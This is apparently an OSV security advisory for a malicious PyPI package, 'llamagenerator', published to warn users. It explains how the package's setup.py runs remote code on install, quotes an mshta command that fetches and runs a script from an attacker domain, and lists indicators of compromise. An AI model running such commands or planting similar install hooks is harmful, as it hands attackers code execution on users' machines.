MAL-2026-5771

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/llamagenerator/MAL-2026-5771.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5771
Published
2026-06-14T12:50:38Z
Modified
2026-06-17T10:00:59Z
Summary
Malicious code in llamagenerator (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2e72d70dd6ee72468c56f2a334414bd1fa8f5ad1e70fea0d89c08f7d1c8ca557)

The package's setup.py fetches the raw contents of https://pastebin.com/raw/yBcUM1QB during pip install, takes the first line, and passes it directly to os.system('cmd /c "..."'). If the Pastebin fetch fails, it falls back to os.system('cmd /c "mshta http://fixars.top"'), invoking the Windows mshta living-off-the-land binary to download and execute an HTA script from an attacker-controlled domain over plaintext HTTP. Both branches grant the publisher arbitrary code execution on the installer's machine on pip install. The package has no legitimate functionality: PKG-INFO has placeholder metadata (Name/Author/Summary all set to 'LLamaGenerator', no description, no URL), and the src/ tree is empty aside from egg-info. The LLM-themed name appears to be a lure trading on the Llama ecosystem.

Source: kam193 (562e670a58a323403ac8e91b672e93442b78cc231515a4cc579e17d917a75e68)

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

  • Downloads and executes a remote executable.

  • obfuscation

  • malware

  • tool:mshta

Database specific 
{
    "iocs": {
        "domains": [
            "fixars.top"
        ],
        "urls": [
            "https://pastebin.com/raw/hEF5HaFc",
            "https://pastebin.com/raw/yBcUM1QBs",
            "https://pastebin.com/raw/yBcUM1QB",
            "http://fixars.top"
        ]
    },
    "malicious-packages-origins": [
        {
            "id": "pypi/2026-06-easyaillm/llamagenerator",
            "import_time": "2026-06-14T13:36:53.095817636Z",
            "modified_time": "2026-06-14T12:50:38.980941Z",
            "sha256": "f3bd291e16e0208c59f8b5c9cb8844b6b4557bdfe204eb3e7253bad507f5685d",
            "source": "kam193",
            "versions": [
                "2.22"
            ]
        },
        {
            "id": "IN-MAL-2026-006695",
            "import_time": "2026-06-15T20:14:28.691332297Z",
            "modified_time": "2026-06-15T19:56:20Z",
            "sha256": "2e72d70dd6ee72468c56f2a334414bd1fa8f5ad1e70fea0d89c08f7d1c8ca557",
            "source": "amazon-inspector",
            "versions": [
                "2.22"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/llamagenerator",
            "import_time": "2026-06-15T22:45:32.26164836Z",
            "modified_time": "2026-06-14T12:50:38.980941Z",
            "sha256": "3f7ca884b7ce9c5eeb160491c2eb83b1ab2044e4b93206a034986e3dd478da35",
            "source": "kam193",
            "versions": [
                "2.22"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/llamagenerator",
            "import_time": "2026-06-16T10:17:17.175371171Z",
            "modified_time": "2026-06-14T12:50:38.980941Z",
            "sha256": "e4ae759b629d45cbb001fd4e8f9fd7fedf31d3e8cc29264bb729fa10a46323ca",
            "source": "kam193",
            "versions": [
                "2.22"
            ]
        },
        {
            "id": "pypi/2026-06-easyaillm/llamagenerator",
            "import_time": "2026-06-17T09:49:36.171642885Z",
            "modified_time": "2026-06-14T12:50:38.980941Z",
            "sha256": "562e670a58a323403ac8e91b672e93442b78cc231515a4cc579e17d917a75e68",
            "source": "kam193",
            "versions": [
                "2.22"
            ]
        }
    ]
}
References
Credits

Affected packages

PyPI / llamagenerator

Package

Name
llamagenerator
View open source insights on deps.dev
Purl
pkg:pypi/llamagenerator

Affected ranges

Affected versions

2.*
2.22

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "setup.py",
            "sha256": "a17064062a8b565138985cac84982eb68e33a2d22f0ae4e5320d19fcb15dde69",
            "tlsh": "ba116513dd877ca762f140441d316860f96296ab2761c8dbb87c835d7fb06a18972cac"
        },
        {
            "path": "PKG-INFO",
            "sha256": "f3e5275520fba3a919b630da4caf4cf72c56be72c12421967726a9af6f7e73a6",
            "tlsh": "13e0d81423cadcf276a70a48590463339225829088c91419f4ea0bc6b29559953fd838"
        }
    ],
    "package_integrity": [
        {
            "filename": "llamagenerator-2.22.tar.gz",
            "hashes": {
                "blake2b_256": "479263e9542ae078d1a9cbad8cc39eb7202e12dc66d2c642af81b9c0188a0d73",
                "md5": "d4fe7617995bcedd024b56d05b6e049e",
                "sha256": "9dde9422ef1d6b09dc4213be72484089b6c56f3b421d60747dcf69a63c6f307a"
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/llamagenerator/MAL-2026-5771.json"